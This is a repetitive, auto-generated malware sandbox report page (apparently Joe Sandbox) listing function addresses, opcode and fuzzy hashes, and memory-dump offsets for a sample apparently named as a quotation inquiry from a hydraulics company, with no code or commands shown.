Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40dff3c69210f5271ea0ee66692456e00acb6f4ee90902c54b01243131769882
Instruction ID: ec47402fd0d076db06abf20be18e584be83ade8ec8c60e98b874ffd117e0cba7
Opcode Fuzzy Hash: 40dff3c69210f5271ea0ee66692456e00acb6f4ee90902c54b01243131769882
Instruction Fuzzy Hash: 90E0C274E08208EFCB94DFA8D440AACBBF4EB88301F14D1AA9808A3344D6769A51DF81

Function 067AA3C8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40dff3c69210f5271ea0ee66692456e00acb6f4ee90902c54b01243131769882
Instruction ID: 66ffa290a03a3fca332dbb782bd04e8183d7a747cb6253017ad04ec8b36d4b95
Opcode Fuzzy Hash: 40dff3c69210f5271ea0ee66692456e00acb6f4ee90902c54b01243131769882
Instruction Fuzzy Hash: E4E0ED74D04208EFCB94DFA9D440AACFBF4EB98301F10C1AAD84893340D7359A51DF81

Function 067ABB88 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40dff3c69210f5271ea0ee66692456e00acb6f4ee90902c54b01243131769882
Instruction ID: 23db4d87125843beb74f168d0de7fe583791f12d9f7269225e278a2353903137
Opcode Fuzzy Hash: 40dff3c69210f5271ea0ee66692456e00acb6f4ee90902c54b01243131769882
Instruction Fuzzy Hash: DCE0C974D08208EFCB94DFA9D440AACBBF4EB88300F10C1AA9808A3345D6359A51DF91

Function 065B4F49 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0cdbf45df80b2a8e3b45fe543edf9c7d1996303297923fd123d395e9f73c69c0
Instruction ID: 56f10ea67f651a4c711fc3c5c7268e661bdabc7e674188482bcc84ec45f4845d
Opcode Fuzzy Hash: 0cdbf45df80b2a8e3b45fe543edf9c7d1996303297923fd123d395e9f73c69c0
Instruction Fuzzy Hash: F5E03938D08148EFCBA0DF94D400AACBBB4EB89301F1090EAD84453341C6314A02EF90

Function 06561390 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35eddaf29c506223e6674bd3e00befbf2fe58053ce83bbc4a9981bdb5b53228e
Instruction ID: b08633ef20d374e600b7d631aa7f5d537c61959a0998829c86be3e981898bbe6
Opcode Fuzzy Hash: 35eddaf29c506223e6674bd3e00befbf2fe58053ce83bbc4a9981bdb5b53228e
Instruction Fuzzy Hash: B8E04F3060E288DFC7A68BA5A5106B9BF78AB53204F5015EFE44453652C6360A54DBA2

Function 06484C88 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f6e7f7a043797b9e6eeaa8e94251abe332be6808daaf7d32f52de4cc1ad8139
Instruction ID: 0a43475182c0fc08373708e336e029d761f886a66060b9fc26689f80557dca58
Opcode Fuzzy Hash: 7f6e7f7a043797b9e6eeaa8e94251abe332be6808daaf7d32f52de4cc1ad8139
Instruction Fuzzy Hash: 24E08631B103095FDBD176A15C0076B72D99B45710F11046BDA156F381D962D842C751

Function 067ABE70 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2d81222b418bd21c16296e85c4cbe23f4a78013efb4a7e07f435567ed1ff908
Instruction ID: c1499707f38f2e91bdb5d665ccc7d11025cce164079b154a25951f0179ba49b0
Opcode Fuzzy Hash: c2d81222b418bd21c16296e85c4cbe23f4a78013efb4a7e07f435567ed1ff908
Instruction Fuzzy Hash: 8FE07574E08208EFCB94DFA9D5456ACFBF4EB88305F10C5EA991893341D7359A45DF81

Function 067AECF8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2d81222b418bd21c16296e85c4cbe23f4a78013efb4a7e07f435567ed1ff908
Instruction ID: ef81b293dc5a099e624d0f949b96cd18a0354b7ef570135b034dd331f6530cd9
Opcode Fuzzy Hash: c2d81222b418bd21c16296e85c4cbe23f4a78013efb4a7e07f435567ed1ff908
Instruction Fuzzy Hash: 90E07574E04208EFCB94DFA9D5456ACBBF4EB89304F20C1AAD81897351D6359A46DF81

Function 067AF7B8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2d81222b418bd21c16296e85c4cbe23f4a78013efb4a7e07f435567ed1ff908
Instruction ID: 55e717190f694facb4ce02e625f75ecd2283a61ccc1626aeba9641890c96d6e6
Opcode Fuzzy Hash: c2d81222b418bd21c16296e85c4cbe23f4a78013efb4a7e07f435567ed1ff908
Instruction Fuzzy Hash: C2E0E574E05208EFCB94DFA8D4406ACBBF4EB88304F50C1AAC808A3341D735AA02CF81

Function 065BDEC8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bac52b84dd270b8006c69c43e4849abf63f34e3cc5cae4f5c1ed8636a3bb34a9
Instruction ID: fa8a3e4c875b41196c5ee1b834a02d54d9f9d8088c09fd38cfe4d671d09ca1c6
Opcode Fuzzy Hash: bac52b84dd270b8006c69c43e4849abf63f34e3cc5cae4f5c1ed8636a3bb34a9
Instruction Fuzzy Hash: 75E0EE70D08208EFCBA4EFA9D404AADBBF9BB58301F1091AAD808A2300D7359A50DF91

Function 065B73A8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0bb5ec4b4243b0c7011e0e49a7fa3cb7214082a1ad40df5dc87cbe56e05efa4
Instruction ID: 87c55fa2f6a4005bf8fb63310d440275cd77705fcd91cbec5356ecde4da2f940
Opcode Fuzzy Hash: e0bb5ec4b4243b0c7011e0e49a7fa3cb7214082a1ad40df5dc87cbe56e05efa4
Instruction Fuzzy Hash: 0BE07574E08208EFCB94EFA9D544AADBBF8FB88305F10A5E9D80897351D7349A44DF51

Function 067AE8A8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f946ab5f8c1ef6b4875fbf656c7a8e0785ec508f1b188d8e4b6389c85b835ef3
Instruction ID: d1c87bedec64ca5098c48c463893907dacc4a37805b06dd1a55914dcc82ddf7c
Opcode Fuzzy Hash: f946ab5f8c1ef6b4875fbf656c7a8e0785ec508f1b188d8e4b6389c85b835ef3
Instruction Fuzzy Hash: 66E08674908308EFCB94EF94D440ABDBBB8ABC6301F10D1ADD84457341CB359A45EF91

Function 065B4F50 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f82219c573ab3ce129b28be874703152629fe7a836d852334393122806c9400
Instruction ID: f8a106fdd329d53ba170a91b2d8c4ade83e8bad2f0b324ecadae6ba05da1cea7
Opcode Fuzzy Hash: 1f82219c573ab3ce129b28be874703152629fe7a836d852334393122806c9400
Instruction Fuzzy Hash: 53E01A74D08208EFCBA4DF94D440AACFBF4EB89304F10D0AADC4453345C6359A51EF91

Function 065B12C7 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c22c9de0443e38e6f86537c20bcb139c95efedcd263e456edbd1af2be73af1a9
Instruction ID: f9e4e41236ba6a47b2db0e82899debd5f51931ff51de138647afffeab90471f3
Opcode Fuzzy Hash: c22c9de0443e38e6f86537c20bcb139c95efedcd263e456edbd1af2be73af1a9
Instruction Fuzzy Hash: 0BF06670915218CAEBA0DFA8D8887DEBBB0BB09304F246A6AD105B7681C7759985CF19

Function 065BDB98 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb0e45aef99c53056aac5ab3c58ab41d647fd325ff4a372aa248e2ec11d58834
Instruction ID: c5ce9e04b88052e59fd35d8a4b21b5c8b3ee9ec43396ce4382cefb29f4fae59d
Opcode Fuzzy Hash: cb0e45aef99c53056aac5ab3c58ab41d647fd325ff4a372aa248e2ec11d58834
Instruction Fuzzy Hash: 13E0EE70D08308EFCBA4EFA9D4006ACBBF9FB88300F1092EAC808A3300D6355A41CF81

Function 065BE0C8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e5ccaede28df17b99c7aaf68ab4c93f82ecf3a22586a90e48f197cb8728aaf
Instruction ID: de27afc62482185120b0e3f2ed2170d9de5dfeea6a1cf5ff7f5a7cf63e799297
Opcode Fuzzy Hash: 70e5ccaede28df17b99c7aaf68ab4c93f82ecf3a22586a90e48f197cb8728aaf
Instruction Fuzzy Hash: 0FE01A34904208EFCB90DF94D4499ECBBB8BB49311F10D0A9E84417320CB319A54DF91

Function 06560150 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a7add6742da05b36abd4e017f830c9357f1e125d2d5703298cf8843df51314a
Instruction ID: 455f905ba71a567b481329e8b66c7824892cc04bd986a16386534eb8b89592a6
Opcode Fuzzy Hash: 6a7add6742da05b36abd4e017f830c9357f1e125d2d5703298cf8843df51314a
Instruction Fuzzy Hash: C2E01A74D08218EFCB94DF95D940AADFBB4EB88304F10C0AAEC4453381C6359A51DF91

Function 06560290 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a7add6742da05b36abd4e017f830c9357f1e125d2d5703298cf8843df51314a
Instruction ID: ce852da2fc5ed17c830d86d59313afb45fed68d5aef0503abf9a5302e0b85699
Opcode Fuzzy Hash: 6a7add6742da05b36abd4e017f830c9357f1e125d2d5703298cf8843df51314a
Instruction Fuzzy Hash: 52E0E574D08218EFCB94DF95D941AACBBB4AF89300F20C0AAEC4453381CA359A52DF91

Function 0648B698 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14b0a8a727ebe00a9079ff33ee8af30d57731e14aae44ddba0452093b8dca6a3
Instruction ID: 2ab1743a8fd3e5fecd389abd6abf574b29d329d2c54e8b4da5443bf2574dc678
Opcode Fuzzy Hash: 14b0a8a727ebe00a9079ff33ee8af30d57731e14aae44ddba0452093b8dca6a3
Instruction Fuzzy Hash: 48E0C2313093520FE743C736A960156BBF28F86A4430486AEE489CB707EA34CC0A8B61

Function 0138F428 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37c5b4a7d53edd9d22f3806dc656f38468db1422f67ae039802880869b6572f
Instruction ID: d213ea28c13ad12f54e56cc95fb7f7282017f02921dddcd5db2f3572f6bb1bb6
Opcode Fuzzy Hash: e37c5b4a7d53edd9d22f3806dc656f38468db1422f67ae039802880869b6572f
Instruction Fuzzy Hash: A1E04F34909208EBCB54EF98D4419ACBBB8AB55304F10D0AAD80423340C6315A51DB91

Function 067A79F8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94a82d2f73da4cbdaae6071b85384569eace909956ffbf83efc908bbd76a4391
Instruction ID: 854a9ff5332a40a222c7dcbe26339eebf13f5d5355486f2af75ae642fcfd4096
Opcode Fuzzy Hash: 94a82d2f73da4cbdaae6071b85384569eace909956ffbf83efc908bbd76a4391
Instruction Fuzzy Hash: C3E01A34D08208EFDB98DFA8D4406ACBBB9AB88204F10C1EAC80863341DB359A01DF81

Function 065BF7A8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3f21a40b5d86c2db6f63e7f12c51b277b5ef416fdfa95adad104cc7b77e6fa1
Instruction ID: f097b94c12b3740cd3e446aba00deb6cac23af3f88cd2fa78dcd9ae6ea272121
Opcode Fuzzy Hash: b3f21a40b5d86c2db6f63e7f12c51b277b5ef416fdfa95adad104cc7b77e6fa1
Instruction Fuzzy Hash: 13E0BF74D04208EFC7D4EFA8D94579CBBF4AB48609F2094EAC80893341DB719A45CB51

Function 0648FA58 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3dd29358e0afcdf053589cc7f1af349d8aa968f0d9a2fb359118cae2d3fdc829
Instruction ID: 044a3318b3c36fba9ba028f5e1f73c3fbae3950f9f5fd8e03e551e6ee515fcbc
Opcode Fuzzy Hash: 3dd29358e0afcdf053589cc7f1af349d8aa968f0d9a2fb359118cae2d3fdc829
Instruction Fuzzy Hash: F2D0A7341493486FC3018B20DC55CD33FBCEB061A531501C3F4508B232C6229C14CBB1

Function 0138F238 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6dfbc6e85a7fe17c214bd45ca231bba533f2e68cf7e41a683fc15e8569d6a71
Instruction ID: 96a72bd4d5c2157d4c5b19c758d61b27756386d0e9c5949ec6cf071e60a9f047
Opcode Fuzzy Hash: e6dfbc6e85a7fe17c214bd45ca231bba533f2e68cf7e41a683fc15e8569d6a71
Instruction Fuzzy Hash: DAE01D38908208DBCB54EF94D54567CBBBCEB85309F1091EDC80817345CB315D45DB51

Function 01388992 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b39b02e0c44210087f6d42464238425f8e2525c99855034b218d756a1ead1eb6
Instruction ID: 4af5faf569e0849793aba092d4767016fc8c61fd65bff2c658b8353d3a025c28
Opcode Fuzzy Hash: b39b02e0c44210087f6d42464238425f8e2525c99855034b218d756a1ead1eb6
Instruction Fuzzy Hash: 78D012300093D49FD7A27F74A918B693F7C5B07219F4810DDF149850538D290955C7B3

Function 01380828 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0bae6fcdb8be479fea6d47a36618b67548b7235e316a437f90d683c13876cf9
Instruction ID: c306b56e143d2e2a03259f6c4677cca153a06862f7c1493da8fabe7609bce0ce
Opcode Fuzzy Hash: d0bae6fcdb8be479fea6d47a36618b67548b7235e316a437f90d683c13876cf9
Instruction Fuzzy Hash: 70D092A114E3D41FDB23AB3499745913F701D8722878B00CBD0C5DF8B7D5095999D767

Function 01388B70 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54ca0763d5b8c9051e75accc307de4b938aca8b181665b3ef93394b65767b257
Instruction ID: 0294488c5bec727b5c3f11a239e03ba09e576b36a6b6750b1b5c509c32b5cfee
Opcode Fuzzy Hash: 54ca0763d5b8c9051e75accc307de4b938aca8b181665b3ef93394b65767b257
Instruction Fuzzy Hash: 11E08C71800308EBD7A1EFE49404B8A77B8EB89305F0004A9D50593110EE310A049B96

Function 01380E28 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 007c0838a745c486821cfc0f385eb00a5603a42d59cb660208bbebd0f573f574
Instruction ID: c6a11cc0685c2e326d3c6b87b21d6a1a68770b07436a94a1b2092e62df998ddc
Opcode Fuzzy Hash: 007c0838a745c486821cfc0f385eb00a5603a42d59cb660208bbebd0f573f574
Instruction Fuzzy Hash: 9DE08C70D0031DABEB18DFAAC8409DEBEFEEB88310F00816EE409B3350DA7118048FA5

Function 067AC938 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cae09877adecba0029dfa6e6a1e1c9a82921e76ee7b913f04acc6e77a01b7be6
Instruction ID: 189e8b48262dec7c67811ed65d8fd95901bc3aa75777f68ce7e4addfe58e2752
Opcode Fuzzy Hash: cae09877adecba0029dfa6e6a1e1c9a82921e76ee7b913f04acc6e77a01b7be6
Instruction Fuzzy Hash: 1AE0123490820CEBDB94DF94E541AACBBB8EB85309F10D1EDC90817341CB325E46DBD1

Function 065BDC18 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ddf43129a3691c229beaa39d65e9b68fc95291594e6fea380e389168d9d9e4f9
Instruction ID: e9a1004a175e11acde11a6738eef6920e40d127fffc559c7b98d541d3b5879f5
Opcode Fuzzy Hash: ddf43129a3691c229beaa39d65e9b68fc95291594e6fea380e389168d9d9e4f9
Instruction Fuzzy Hash: CEE0EC70D0930CEFCB90EFA8E4496ADBBF8AB05215F1055A9C90893340EB705A44CF51

Function 06561045 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df2b3cb0e39b6e59809a1cab8a9910cdc9549c2023d5fbc937099bac06de3c0c
Instruction ID: 9b5cd1115a7f2f2aafb271a046418d52c7c0b21c9a9159f2f4a55927740061d2
Opcode Fuzzy Hash: df2b3cb0e39b6e59809a1cab8a9910cdc9549c2023d5fbc937099bac06de3c0c
Instruction Fuzzy Hash: 7AD0C230408148EBCBA0CF95D450BA9B7BCEB46214F105099E80843201DA325D51CBA1

Function 06560A90 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7775a8e3a7c606d240b4ffc610a9fe35b91c3712cbad8d508db87bdcb610a534
Instruction ID: 9bd17064e2eab36ae8c3c4cd30bde50c568d5296a11d051adcf218a125774854
Opcode Fuzzy Hash: 7775a8e3a7c606d240b4ffc610a9fe35b91c3712cbad8d508db87bdcb610a534
Instruction Fuzzy Hash: CEE08C34908208EBCB94DF94E540AACBBB8AB85304F2090A9D84813380CB315E02CB81

Function 0648B680 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4578c43e318fd31f8533b0beda77d19819ddf92112a652972d559d0327a5ee1
Instruction ID: e829f5c612619bfb24537edc696f2438901bb393629edc2ae3c3eee483f79524
Opcode Fuzzy Hash: a4578c43e318fd31f8533b0beda77d19819ddf92112a652972d559d0327a5ee1
Instruction Fuzzy Hash: 1AD0A93A24B2684FC7823A2A6C424E83B21EA8121038685CBD820CED1BD1044C47C7EA

Function 067AF6F8 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc70a3b8004662d862450e8e37bcebf3a976544454bc870961237126d7a52eeb
Instruction ID: bcf5f470a880165121bee8b60eedb3aaab9af660fb3bfa8a4307ee98cca5f341
Opcode Fuzzy Hash: dc70a3b8004662d862450e8e37bcebf3a976544454bc870961237126d7a52eeb
Instruction Fuzzy Hash: 45D01230809308DBCB58EFA4A4046AC77B8AB81305F5092ADC80413250DB355D48DB95

Function 065BDF60 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa499adcc41eb22ea9271528543622508376ecdda3c543fa66122eff421617a5
Instruction ID: 60d50fadcccb10cfc27abaa60006f3c0bd28837b2db5cb3ee9b39469b7ae3d9a
Opcode Fuzzy Hash: aa499adcc41eb22ea9271528543622508376ecdda3c543fa66122eff421617a5
Instruction Fuzzy Hash: 3ED0127084D208DBC794DFA4E4046EDBBB8AB45301F1061A9C80823254D7301945DF95

Function 06480490 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

